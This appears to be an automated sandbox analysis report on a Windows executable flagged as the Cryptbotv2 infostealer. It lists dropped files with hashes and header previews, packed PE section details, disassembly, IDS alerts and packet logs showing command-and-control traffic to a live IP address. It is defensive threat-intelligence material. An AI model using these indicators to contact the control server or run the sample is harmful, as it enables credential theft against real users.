SHA-512:	A0622FBCDD4611E39E66BBA30071B37B3064BF8A77422455AC1A5EF46821356FB31975C297B3D13591CF90B1EEB587D3051AEC67CCFF19AB319AB9D80D878C52
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.0.6.6.5.8.6.9.4.3.3.0.3.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.9.0.6.6.5.8.7.6.1.5.1.9.1.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.e.9.d.0.0.c.f.-.e.f.a.2.-.4.5.e.1.-.a.e.c.c.-.8.5.e.e.2.4.3.a.b.5.6.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.8.2.6.f.e.8.e.-.d.8.5.8.-.4.a.4.1.-.a.c.d.2.-.8.f.3.2.a.e.c.6.f.d.0.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.J.v.O.q.H.x.k.u.I...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.2.c.-.0.0.0.1.-.0.0.1.3.-.f.9.2.1.-.a.1.9.0.e.6.5.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.6.1.1.f.c.b.4.b.e.8.b.4.3.8.4.4.f.1.2.8.e.7.c.e.7.b.4.c.8.d.c.0.0.0.0.f.f.f.f.!.0.0.0.0.7.9.8.0.5.7.3.8.b.7.0.3.d.0.b.7.3.7.5.1.4.0.a.0.0.6.7.f.7.2.0.f.6.f.f.5.f.b.9.9.!.r.J.v.O.q.H.x.k.u.I...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER13CD.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Dec 19 07:23:07 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	269222
Entropy (8bit):	1.4727114353790731
Encrypted:	false
SSDEEP:	768:9ZJXQUfEqPFpxu0RSDGzqGPwdbttJ7WdlUeXB:NXdJTRNqFdTAdlpX
MD5:	F2E395F79596CDA3AEE0CB0A2900927A
SHA1:	52656586A5FC06820056A606B794E1904109C6AA
SHA-256:	9061DD7F353FE569CEB009A70EBDE4E6A31BA3EDAE4DD985C06B81E831499D91
SHA-512:	216106F7E6CDA407AE519ECC832D6F20E124EC7AEB10262CB0760323F73E1557D04D9499EEF1F867C0C28F35D45BEC7C63691D27A2BF8E29D39B98890D177D34
Malicious:	false
Preview:	MDMP..a..... .........cg........................................x,.....................`.......8...........T...........XD..N...........D-..........0/..............................................................................eJ......./......GenuineIntel............T.......,...`.cg....;........................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1535.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8364
Entropy (8bit):	3.7003739620168603
Encrypted:	false
SSDEEP:	192:R6l7wVeJgv6ka6YWlSU9zYgmfsbcprf89bObVsfmSIjm:R6lXJo6r6Y0SU9MgmfsbhObufmh6
MD5:	16E2082E20F3CFAF07EC12B3BDABD4CC
SHA1:	94C7C864714063A762C2EE7B1329858E691D415F
SHA-256:	5752D780915E9A56A1E88B6FD3DD3FDBF223082A436EC439752712D3C993A141
SHA-512:	C141E699682FF6BDCE8DA7E64BCB1046B59BFD038B8D1D9E82E22211A9CE4913526DD3C95496210BF31CF442DF3C70B125C07F3B35B6D5ED3B9FC6BC652B6337
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.7.2.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1565.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4594
Entropy (8bit):	4.476455112196803
Encrypted:	false
SSDEEP:	48:cvIwWl8zsvJg77aI9XkWpW8VYwwYm8M4JnU45F3IUC+q8K5/jTSzYSXd:uIjfRI7t97VbdJkUCRSzjXd
MD5:	D4AB5616F4DE86B9C68A644AF1F3250B
SHA1:	D5AD9C2B1B69FC2C8D55B27D5D9712A65BA5E36F
SHA-256:	EB29797B74D71BE66F4D516E47B34F7CCD52AD0793BAFFCC54EFB6DF494291F7
SHA-512:	4AC2B88F933800EF4AA87CEFF90C9CBC0B8C0C54880492BF651A66F6202CDA384BFFDCCF94ACF9495DE74ACFCD7C9DBCFB3BE1B5A2FF4EF533B9B707AF13500C
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="637825" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Temp\ehoYPkfWhVokJMBQaExv.dll

Download File

Process:	C:\Users\user\Desktop\rJvOqHxkuI.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	315803136
Entropy (8bit):	0.054355404265247424
Encrypted:	false
SSDEEP:	24576:mV6EnBO/3Tjg05rfKYlxxQN3QAJhUCwW5nfnI0fIgVHt5JlBVE:dvZAfWW5ntf1VN5JlBVE
MD5:	633D2EA87075AF056EA448199D1B6B51
SHA1:	ACBA5B51C8CE89F7461E8E78785028E090133E71
SHA-256:	0259D4106A6068D299FADD3FC9B7AA2116BBDF70DDA1EAED55C8CA3826C75999
SHA-512:	6EE5B2A17B3901388B7B1C34D04A722214C4452D93A11111AF167B99FCC6AE84A07FC0126F63B5F8F439D538BC33174FF7C6FDF94589714B56360BAA82A3EF0D
Malicious:	false
Joe Sandbox View:	Filename: NWKk493xTy.exe, Detection: malicious, Browse Filename: 88S3zQTYpl.exe, Detection: malicious, Browse Filename: NVkyG9HAeY.exe, Detection: malicious, Browse Filename: aweqG2ssAY.exe, Detection: malicious, Browse Filename: EnoSY3z6MP.exe, Detection: malicious, Browse Filename: vH7JfdNi3c.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: random.exe.7.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...bT`g...........#...(..........................0m.........................@............@... .........................`.......................................Hz...........................=.........................t............................text...8...........................`..`.data...............................@....rdata..............................@..@.eh_framX...........................@..@.bss.........p...........................edata..`............:..............@..@.idata...............<..............@....CRT....,............F..............@....tls.................H..............@....reloc..Hz.......\|...J..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\service123.exe

Download File

Process:	C:\Users\user\Desktop\rJvOqHxkuI.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	314617856
Entropy (8bit):	0.0023405885373275906
Encrypted:	false
SSDEEP:
MD5:	110FE44D33E426703CD712E879D34CBC
SHA1:	F7E396874328BA5813FE846DF4DB08A0AE8C7827
SHA-256:	3887BC25C5F53AA834C4277D5FF6DAC4F0B5B04C86C341095A5BF46F9EA150A4
SHA-512:	14C40AAD78EA18D08E3B5792EA55B6A7724907AA41D541DCBE960329C875426BA45C9C43607C67CFC8E87F14CD2EC004942E50EF5D3CE84E71EC3427DC4DD679
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...XT`g...............(.v........................@.......................... .......W....@... .................................................................d...........................D.......................T................................text....t.......v..................`..`.data...T............z..............@....rdata...............\|..............@..@.eh_fram............................@..@.bss....t................................idata..............................@....CRT....0...........................@....tls................................@....reloc..d...........................@..B........................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.2960154664829835
Encrypted:	false
SSDEEP:
MD5:	D9C214E4623EEAE9752D708A106596AD
SHA1:	E503478B4DB4C92260D60A9AA589429A37AF629C
SHA-256:	03170E3632AAF2E66F0DEB43F4801CC19F6537739A5E1F97229C9B8FAB337FA7
SHA-512:	D1C5BC726BF9F6061BC1E62A2A76788C5AFDD039BFA8458E8C8695FD3695902541A84ACDD84CB99870D45F3448F7F338B1B8D9EA3F3387F36C136A47FF8BF97A
Malicious:	false
Preview:	regfG...G....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..V..Q................................................................................................................................................................................................................................................................................................................................................B.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.985640732288609
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	rJvOqHxkuI.exe
File size:	4'503'040 bytes
MD5:	39cb781a70f40105ffdbb75e77aa6d7f
SHA1:	79805738b703d0b7375140a0067f720f6ff5fb99
SHA256:	c3ce51918df45e9cae14921d25c0419397003733e9ada04a33e4cde97013e2e6
SHA512:	1d131ff871ee80937334672c905f8e94cb43d28e22843a7a6538cb54ec060ed01e02d48ab5569218bdb57248c6e2c7920e54ecb506f75ef7cefeb200c4587a98
SSDEEP:	98304:ZIrcGnmqWv8Zd8Ahx1D40LY9m+uigPG6itvR3yW22gKVW4G/FexOemDR90s:iBTWvAd8AhbF3+u3GltvRN7gUiPDRm
TLSH:	012633615FE66460E12CFA3B5DEBC4F66C18BD52D1B9D0A20F23933019AB79479E1CC2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2...0.......PD...@..........................`......B.D...@... ............................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xf73000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:	DYNAMIC_BASE
Time Stamp:	0x676055E0 [Mon Dec 16 16:31:28 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F3808B8C2EAh
sete byte ptr [eax+eax+00h]
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
aas
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x61905f	0x73	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x618000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb716b8	0x10	mltgnpcl
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xb71668	0x18	mltgnpcl
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x617000	0x283e00	a0f72eb85f3fd45e788c9d286247dcc1	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x618000	0x2b0	0x200	7c468c2224a175f3ffcbc511b239adf1	False	0.798828125	data	6.080751032043584	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x619000	0x1000	0x200	e8fbf92e0939d0cd4935f0fe539e974d	False	0.166015625	data	1.1763897754724144	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x61a000	0x394000	0x200	b556a5db09fcd1330e3aeac44657b1c2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mltgnpcl	0x9ae000	0x1c4000	0x1c3a00	df8a9aa0b79586e955a23e2ca9f3b916	False	0.994261174923886	data	7.954666946769581	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
umkntojc	0xb72000	0x1000	0x600	6a8d0d3dc1efe2a749f56a627bc69661	False	0.6197916666666666	data	5.242153021123461	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0xb73000	0x3000	0x2200	5692f2d1ecba673c26e88947289070ed	False	0.06560202205882353	DOS executable (COM)	0.7045370526702299	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0xb716c8	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T08:21:45.172096+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.10	49782	194.87.47.113	80	TCP
2024-12-19T08:21:47.031695+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.10	49793	194.87.47.113	80	TCP
2024-12-19T08:21:57.179431+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.10	49827	194.87.47.113	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 08:21:09.181191921 CET	49703	443	192.168.2.10	98.85.100.80
Dec 19, 2024 08:21:09.181245089 CET	443	49703	98.85.100.80	192.168.2.10
Dec 19, 2024 08:21:09.181313038 CET	49703	443	192.168.2.10	98.85.100.80
Dec 19, 2024 08:21:09.199081898 CET	49703	443	192.168.2.10	98.85.100.80
Dec 19, 2024 08:21:09.199120045 CET	443	49703	98.85.100.80	192.168.2.10
Dec 19, 2024 08:21:10.952923059 CET	443	49703	98.85.100.80	192.168.2.10
Dec 19, 2024 08:21:10.997631073 CET	49703	443	192.168.2.10	98.85.100.80
Dec 19, 2024 08:21:11.010262012 CET	49703	443	192.168.2.10	98.85.100.80
Dec 19, 2024 08:21:11.010283947 CET	443	49703	98.85.100.80	192.168.2.10
Dec 19, 2024 08:21:11.015918016 CET	443	49703	98.85.100.80	192.168.2.10
Dec 19, 2024 08:21:11.016015053 CET	49703	443	192.168.2.10	98.85.100.80
Dec 19, 2024 08:21:11.017529011 CET	49703	443	192.168.2.10	98.85.100.80
Dec 19, 2024 08:21:11.017663002 CET	443	49703	98.85.100.80	192.168.2.10
Dec 19, 2024 08:21:11.017735004 CET	49703	443	192.168.2.10	98.85.100.80
Dec 19, 2024 08:21:11.017745018 CET	443	49703	98.85.100.80	192.168.2.10
Dec 19, 2024 08:21:11.063124895 CET	49703	443	192.168.2.10	98.85.100.80
Dec 19, 2024 08:21:11.338224888 CET	443	49703	98.85.100.80	192.168.2.10
Dec 19, 2024 08:21:11.338521957 CET	443	49703	98.85.100.80	192.168.2.10
Dec 19, 2024 08:21:11.338583946 CET	49703	443	192.168.2.10	98.85.100.80
Dec 19, 2024 08:21:11.347805977 CET	49703	443	192.168.2.10	98.85.100.80
Dec 19, 2024 08:21:11.347824097 CET	443	49703	98.85.100.80	192.168.2.10
Dec 19, 2024 08:21:12.597807884 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:12.717561007 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:12.717730045 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:12.718784094 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:12.839380980 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:12.839413881 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:12.839464903 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:12.839493036 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:12.839540958 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:12.839555979 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:12.839570999 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:12.839623928 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:12.839809895 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:12.839958906 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:12.839987993 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:12.840218067 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:12.840272903 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:12.840370893 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:12.959265947 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:12.959343910 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:12.959427118 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:12.959429979 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:12.959472895 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:12.959525108 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:12.959534883 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:12.959553957 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:12.959673882 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.003546000 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.007282019 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.119465113 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.122710943 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.167444944 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.283555984 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.283961058 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.487457991 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.491228104 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.730099916 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.730329990 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.730411053 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.849983931 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.850097895 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.850127935 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.850157022 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.850230932 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.850231886 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.850265026 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.850285053 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.850344896 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.850369930 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.850399017 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.850429058 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.850445986 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.850492001 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.850542068 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.850579023 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.850588083 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.850627899 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.850677967 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.850704908 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.850735903 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.850747108 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.850797892 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.850799084 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.850860119 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.850960016 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.851008892 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.851037025 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.851098061 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.851164103 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.851214886 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.851231098 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.851610899 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.851639032 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.851861000 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.852998018 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.853051901 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.969830990 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.969935894 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.969997883 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.970029116 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.970078945 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.970117092 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.970171928 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.970228910 CET	80	49709	194.87.47.113	192.168.2.10
